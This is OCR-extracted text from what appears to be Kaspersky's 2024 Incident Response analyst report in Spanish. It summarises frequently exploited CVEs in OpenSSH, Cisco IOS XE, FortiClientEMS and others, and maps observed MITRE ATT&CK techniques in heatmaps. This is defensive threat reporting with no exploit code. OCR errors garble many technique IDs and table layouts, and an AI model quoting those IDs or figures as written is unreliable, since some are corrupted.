Esta vulnerabilidad en un componente de Veeam Backup & Replication
permite a un grupo de atacantes obtener las credenciales cifradas que se
almacenan en la base de datos de la configuracion.

~—y

En las versiones de OpenSSH anteriores a 9.3p2, la caracteristica PKCS#11 de
ssh-agent tiene una ruta de busqueda vulnerable que la vuelve poco fiable.
Esto puede provocar la ejecucion remota de codigo si un sistema bajo el
control de atacantes recibe a un agente reenviado.

~—y

Esta vulnerabilidad en Microsoft SharePoint Server permite a los atacantes
remotos escalar privilegios.

~—y

PoC disponible: Cisco IOS XE (interfaz de usuario web)

CVE-2023-20273 CVSS7.2HIGH | [ CWE-78

Ejecucion remota de cédigo (RCE)

La funcién de interfaz de usuario web del software Cisco |OS XE podria
permitir a un atacante remoto con autenticacion inyectar comandos con
privilegios raiz.

~r—y

PoC disponible: Cisco IOS XE (interfaz de usuario web)

CVE-2023-20198 | CVSS10.0 CRITICAL [ CWE-420

Escalamiento de privilegios

Informe de analistas sobre Incident Response de 2024

Esta vulnerabilidad permite a un atacante sin autenticacién crear una cuenta
con "acceso con privilegios de nivel 15", es decir, acceso total a todos los
comandos.
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PoC disponible: FortiClientEMS

CVE-2023-48788 | CVSS9.8CRITICAL | CWE-89 |

- Inyeccién SQL

PoC disponible: OpenSSH (sshd)

{CVE-2024-6387  CVSS81HIGH | [ CWE-362 |

Ejecucion remota de cédigo (RCE)

OpenSSH (sshd)

'CVE-2024-6409 CvsS7.0HIGH | [ CWE-364 |

Ejecucion remota de cédigo (RCE)

Las
vulnerabilidades
mas habituales

La neutralizacién inadecuada de elementos especiales usados en un
comando de SQL (inyeccién SQL) en Fortinet FortiClientEMS permite a un
grupo de atacantes ejecutar comandos o cédigo no autorizado mediante
paquetes personalizados.

~—y

Esta vulnerabilidad en el servidor de OpenSSH (ssh), también conocida como
‘regreSSHion", podria permitir ejecutar cddigo de forma remota en el servidor
vulnerable.

Esta vulnerabilidad de condicién de carrera descubierta en el servidor de
OpenSSH (sshd) podria permitirle a un usuario sin privilegios ejecutar codigo
de forma remota.
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Mapa de calor de
tacticas y técnicas

ijagrama de tacticas y técnicas
de MITRE ATT&CK

TAO043:
Reconocimiento

TAO042:
Desarrollo de recursos

TAOOOT:
Acceso inicial

TAOO0O2:
Ejecucidn

TAOOOS3:
Persistencia

T1595.002: Andlisis activo
(andlisis de vulnerabilidades)

T1589.001: Recoleccién de
informacion de identidad de la
victima: Credenciales

T1598: Phishing para obtener
informacion

T1595.001: Andlisis activo (anélisis
de bloques de IP)

T1592: Recoleccion de
informacién de host de la victima

e~ _—opS— _Ad

6-11%

1-15 %

T1587.001: Desarrollo de
capacidades (malware)

T1588.002: Obtencién de
capacidades (herramienta)

15-20 %
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T1190: Exploit de aplicaciones
publicas

T1078.002: Cuentas vélidas
(cuentas de dominio)

T1199: Relacién de confianza

T133: Servicios remotos externos

T1078: Cuentas validas

T1566.002: Phishing (enlace
de spear phishing)

T1078.003: Cuentas validas
(cuentas locales)

T1566.001: Phishing (archivo
adjunto de spear phishing)

T1133: Servicios remotos externos

T1078.002: Cuentas validas
(cuentas de dominio)

T1566: Phishing

En la matriz de MITRE ATT&CK, se detallan las
tacticas y las técnicas usadas por atacantes que

se dirigen a redes corporativas. Marcamos la matriz
con colores para resaltar el predominio de diferentes
técnicas segun ataques que investigamos en 2024.

>20 %

T1059.003: Intérprete
de comandos y scripts
(shell de comandos de Windows)

T1569.002: Servicios del sistema
(ejecucion del servicio)

T1059.001: Intérprete de
comandos y scripts (PowerShell)

T1053.005: Tarea o trabajo
programados (tarea programada)

T1047: Instrumentos de
administracién de Windows

T1059: Intérprete de comandos
y scripts

T1059.004: Intérprete de

comandos y scripts (Unix.Shell)

T1059.005: Intérprete de
comandos y scripts (Visual Basic)

T1053.003: Tarea o trabajo
programados (cron)

T1059.006: Intérprete de
comandos y scripts (Python)

T1021.002: Servicios remotos

(recursos compartidos de
administrador de SMB/Windows)

T1204: Ejecucioén de usuario

T1059.010: Intérprete de comandos
y scripts (AutoHotKey y AutolT)

T1059.009: Intérprete de
comandos y scripts (Cloud API)

T1559: Comunicacién entre
procesos

T1053: Tarea o trabajo
programado

T1203: Explotacion para la
ejecucion de los clientes

T1053.002: Tarea o trabajo
programados (At)

T1078.002: Cuentas validas
(cuentas de dominio)

T1543.003: Creacién o
modificacién de procesos del
sistema (Windows Service)

T1505.003: Componente de
software de servidor (shell web)

T1136.001: Creacién de cuenta
(cuenta local)

T1053.005: Tarea o trabajo
programados (tarea programada)

T1078.003: Cuentas validas
(cuentas locales)

T1098: Manipulacién de cuenta

T1547.001: Ejecucién automética
de arranqgue o inicio de sesién
(claves de ejecucion de registro/
carpeta de inicio)

TN33: Servicios remotos externos

T1136.002: Creacién de cuenta
(cuenta de dominio)

T1136: Creacién de cuentas

T1053: Tarea o trabajo
programado

T1037.004: Scripts de inicializacién de
arrangue oinicio de sesion (scriptsrc)

T1543.002: Creacién o
modificacién de procesos del
sistema (servicio Systemd)

T1543: Creacion o modificacion
de procesos del sistema

T1574.002: Flujo de ejecucion de
secuestro (carga lateral de DLL)

T1053.003: Tarea o trabajo
programados (cron)

T1098.004: Manipulacién de
cuenta (claves autorizadas de SSH)

T1078: Cuentas vélidas

T1574.006: Flujo de ejecucion de
secuestro (secuestro de enlace
dinédmico)

T1546.003: Ejecucion de eventos
activados (suscripcion a eventos
de Instrumental de administracion
de Windows)
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TAOOO4:
Escalamiento de privilegios

TAOOO5:
Evasién de defensas

TAOOOQ6:
Acceso a credenciales
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Mapa de calor de
tacticas y técnicas

TAOOOQ7:
Descubrimiento

T1078.002: Cuentas validas
(cuentas de dominio)

T1068: Explotacion de escalacion
de privilegios

T1484.001: Modificacién de directivas
de dominios (modificacién de directivas
. de grupos)

T1078.002: Cuentas validas
(cuentas de dominio)

T1547.005: Ejecucion automatica
de arranque o inicio de sesién
(proveedor de soporte de seguridad)

T1098: Manipulacién de cuenta
T1543.003: Creacion o modificacion de
procesos del sistema (Windows Service)

T1548.002: Abuso del mecanismo
de control de elevacion (circunvencion
de control de cuentas de usuarios)

T1548.001: Abuso del mecanismo de
control de elevacion (setuid y setgid)

6-11% 1-15 %

T1562.001: Alteracién de las defensas
(desactivacion o modificacion
de herramientas)

T1070.001: Eliminacién de indicadores
(eliminacién de registros de eventos
de Windows)

T140: Decodificar/desofuscar
archivos o informaciéon

T1036.005: Enmascaramiento (coincidencia
connombre o ubicacién verdadera)

T1036.004: Enmascaramiento
(replicacion de tarea o servicio)

T1027.002: Archivos oinformacién ofuscados
(creacion de paquetes de software)

T1078.002: Cuentas vélidas
(cuentas de dominio)

T1M2: Modificaciéon de registro

T1027.009: Archivos o informacién
ofuscados (cargas Utiles integradas)

T1218.011: Ejecucién-por proxy de binario de
sistema (rundll32)

T1070.009: Eliminacién de indicadores
(eliminacién de la persistencia)

T1078.003: Cuentas validas
(cuentas locales)
T1055: Incursiones en procesos

T1070.006: Eliminacién de indicadores
(timestomp)

T1027.010: Archivos o informacién
ofuscados (ofuscacion de comandos)

T1027.001: Archivos o informacién
ofuscados (relleno binario)

T1027.013: Archivos o informacién
ofuscados (archivo cifrado o codificado)

T1562.001: Alteracién de las defensas
(desactivacién o modificacién
de herramientas)

T1574.001: Flujo de ejecucion de secuestro

(secuestro de orden de busquedas de DLL)

T1562: Alteracion de las defensas

T1574.002: Flujo de ejecucion de secuestro

(carga lateral de DLL)

T1070.003: Eliminacién de indicadores
(eliminacién del historial de comandos)

T1622: Evasion del depurador
T1562.002: Alteracién de las defensas
(desactivacion del registro de eventos de
Windows)

T1070: Eliminacién de indicadores

T1027.003: Archivos o informacién ofuscados

(esteganografia)

T1564.006: Ocultacién de artefactos
(ejecucion de instancia virtual)

T1484.001: Modificacion de directivas de

dominios (modificacién de directivas de grupos)

T1218.005: Ejecucion por proxy de objeto
binario del sistema (mshta)

15-20 %

Informe de analistas sobre Incident Response de 2024

7 >20%

T1003: Volcado de credenciales de SO

T1003.001: Volcado de credenciales
de SO (memoria de LSASS)

T1552.001: Credenciales no protegidas
(credenciales en archivos)

T1555: Credenciales procedentes
de almacenes de contrasefas

T110.001: Fuerza bruta
(adivinacion de contrasefas)

T110: Fuerza bruta

T1003.006: Volcado de credenciales
de SO (DCSync)

T1003.003: Volcado de credenciales
de SO (NTDS)

T1003.001: Volcado de credenciales
de SO (memoria de LSASS)

T1555.005: Credenciales procedentes
de almacenes de contrasefias
(gestores de contrasefias)

T1110.003: Fuerza bruta (pulverizacion
de contrasefias)

T1555.004: Credenciales procedentes de
almacenes de contrasefas (Administrador
de contrasefas de Windows)

T1212: Exploit de acceso mediante
credenciales

T1557: Adversary-in-the-Middle

T1528: Robo del token para acceso
aaplicaciones

T1552: Credenciales no protegidas

T1056.001: Captura de entrada
(registradores de pulsaciones de teclas)

T1552.004: Credenciales no protegidas
(claves privadas)

T1555.003: Credenciales procedentes de
almacenes de contrasefas (credenciales
de navegadores web)

T1552.002: Credenciales no protegidas
(credenciales en el registro)

T1040: Rastreo de red

T1018: Deteccion de sistemas remotos

T1135: Deteccion de recursos
compartidos enred

T1082: Deteccién de informacion
del sistema

T1087.002: Deteccién de cuenta
(cuenta de dominio)

T1482: Deteccidn de confianza de dominio

T1069.002: Deteccién de grupos
y permisos (grupos de dominio)

T1057: Deteccién de procesos

T1033: Deteccién de usuarios/propietarios
del sistema

T1049: Descubrimiento de conexiones
en lared del sistema

T1016: Deteccién de configuracion de red
en el sistema

T1615: Descubrimiento de politicas de
grupos

T1083: Deteccidn de archivos y directorios
T1087.001: Deteccién de cuenta (cuenta local)
T1087: Deteccién de cuentas

T1560.001: Archivado de datos recopilados
(archivado mediante utilidad)

T1124: Deteccioén de la hora del sistema

T1201: Descubrimiento de politicas
de contrasefias

T1012: Consulta en registro

T1614.001: Deteccidn de ubicacion del
sistema (deteccidn del idioma del sistema)
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Mapa de calor de
tacticas y técnicas

.
e
TAOOO08: TAOOQ9: TAOO11: TAOO10: TAOO040:
Movimiento lateral Recopilaciéon Comando y control Exfiltracion Impacto
T1560.001: Archivado de 4 . ¥
datos recopilados (archivado T1gi'e|5r:ifgitor?’:é%n
E ! mediante utilidad) 2
T1021.002: Servicios remotos . o ! I
(recursos compartidos de T1005: Datos del sistema local THOS.' Transfergnqa d?. sk U SEER G @i T1485: Destruccion de datos
i . herramientas de infiltracién acuentaenlanube
administrador de SMB/Windows)
T1021.004: Servicios remotos T1039: Datos de unidad T1071.001: Protocolo de capa T1020: Exfiltraciéon T1561: Borrado de disco
compartida de red de aplicacién (protocolos web) automatizada d
. o2 . T1567.002: Filtracién sobre T1561.002: Borrado de disco
T1021: Servicios remotos TTS{S;‘;%?:S;O” n219: Sof:xgige 2eces servicio web (filtracién al (borrado de la estructura de
almacenamiento en la nube) disco)
T1114.001: Recopilacién
T1570: Transferencia lateral de correos electrénicos T1090.001: Proxy (proxy T1048: Exfiltracién sobre T1565: Manipulacién de datos
de herramientas (recopilacién local de correos interno) protocolo alternativo - B
electrénicos)
T1021.006: Servicios remotos . LS A
by # T1560: Archivado de datos T1132.001: Codificacion de =0 o
(admlnlstrgmon remota de recopilados datos (codificacién estandar) T1041: Exfiltracién por canal C2
Windows)
T1550.002: Uso de material
de autenticacién alternativo T1M3: Captura de pantalla T1090: Proxy
(Pass the Hash)
T1021.003: Servicios f y
3 T15672: Tunelizacién de T1665: Ocultacién de
TN (Modelolde_obj'etos protocolo infraestructura
componentes distribuido)
_ i T1071.004: Protocolo de capa
T1021: Servicios remotos de aplicacién (DNS)
T1021.001: Servicios remotos T1568.002: Resolucién
(protocolo de escritorio dindmica (algoritmos de
remoto) generacion de dominios)
T1021.002: Servicios remotos
(recursos compartidos de 3 =t
administrador de SMB/ e SEieo et
Windows)
T1210: Explotacion de servicios T1568: Resolucién dindmica
remotos
T1563.002: Secuestro de 3 .
sesién de servicio remoto T(grstgoéf?:;ﬂ]gﬁ.igf
(secuestro de RDP) ptog!
T1041: Exfiltracién por canal C2
T1071: Protocolo de capa de
aplicacién
6-1N% 11-15% 15-20 % 0 >20%
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Ay

obre Kaspersky

Kaspersky es una empresa global de ciberseguridad y privacidad digital
fundada en 1997. Los amplios conocimientos sobre amenazas vy la vasta
experiencia en seguridad de la empresa se transforman constantemente
en soluciones y servicios de seguridad innovadores destinados a proteger
a empresas, infraestructuras criticas, gobiernos y consumidores de todo
el mundo. Nuestra cartera de seguridad integral para empresas incluye
proteccion lider en endpoints y soluciones y servicios de seguridad
especializados destinados a combatir ciberamenazas complejas

y en constante evolucion.

Servicios de Seguridad de Kaspersky

Kaspersky
Managed Detection
and Response

Kaspersky

SOC Consulting

Kaspersky
Security

Assessment
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Kaspersky
Incident Response

Kaspersky
Digital Footprint
Intelligence

Kaspersky
Compromise
Assessment
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Reconocimiento global

Los productos y las soluciones de Kaspersky se someten constantemente
apruebas y revisiones independientes, y suelen lograr los mejores resultados,
reconocimientos y premios de manera habitual. Nuestras tecnologias y

procesos son evaluados Y verificados regularmente por las organizaciones
de analistas mas respetadas del mundo. La mas probada. La mas premiada.
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Sobre Kaspersky

Mas de 5000

profesionales trabajan
en Kaspersky

50 %
de nuestro equipo esta
especializado en I+D

5

centros de experiencia
unicos

467.000

nuevos archivos maliciosos
detectados por Kaspersky
cadadia

200.000

clientes corporativos
en todo el mundo

4900 millones

de ciberatagues detectados
por Kaspersky en 2024
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https://www.kaspersky.es/about/awards
https://www.kaspersky.es/enterprise-security/cybersecurity-services

¢Bajo ataque?
iTe guardamos
las espaldas!
Ponte en
contacto con
nosotros

EFH.
kkaspersky

www.kaspersky.es

© 2025 AO Kaspersky Lab. Las marcas comerciales
y marcas de servicios registradas pertenecen a sus
respectivos propietarios.
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